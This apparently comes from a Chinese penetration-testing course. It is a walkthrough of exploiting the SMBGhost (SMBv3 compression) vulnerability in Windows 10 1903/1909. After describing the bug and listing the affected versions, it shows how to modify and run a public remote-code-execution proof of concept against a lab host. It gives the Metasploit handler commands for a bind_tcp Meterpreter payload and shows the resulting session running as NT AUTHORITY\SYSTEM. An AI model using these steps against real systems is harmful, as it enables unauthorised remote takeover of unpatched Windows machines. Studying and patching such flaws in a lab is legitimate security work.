Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。
1.1.2 影响版本
漏洞暂不影响主流的服务器版本,只影响Windows 10 1903之后的各个32位、64位版Windows,包括家用版、专业版、企业版、教育版。(只影响 SMB v3.1.1,1903和1909)
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
用修改后的payload代码替换exploit.py中的代码。
┌──(rootxuegod53)-[~/SMBGhost_RCE_PoC-master]
└─# vim exploit.py
删除92行到128行中的内容,
删除后,把cat exploit ,复制的内容,粘到92行以下,效果如下:
4、执行替换后的exp
root@xuegod53:~/SMBGhost_RCE_PoC# python3 exploit.py -ip 192.168.1.60
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7a500000000
[+] found PML4 self-ref entry 1d8
[+] found HalpInterruptController at fffff7a500001518
[+] found HalpApicRequestInterrupt at fffff80305215bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at ffffec7bc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000950!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
5、在MSF上启动handler开始监听连接目标机
root@xuegod53:~# msfdb run
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set LPORT 4433
LPORT => 4433
msf5 exploit(multi/handler) > set RHOST 192.168.1.60
RHOST => 192.168.1.60
msf5 exploit(multi/handler) > exploit
Started bind TCP handler against 192.168.1.60:4433
Sending stage (206403 bytes) to 192.168.1.60
Meterpreter session 1 opened (192.168.1.53:46763 -> 192.168.1.60:4433) at 2020-10-05 14:48:25 +0800
meterpreter >
成功建立连接
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
查看获取的权限为system
meterpreter > sysinfo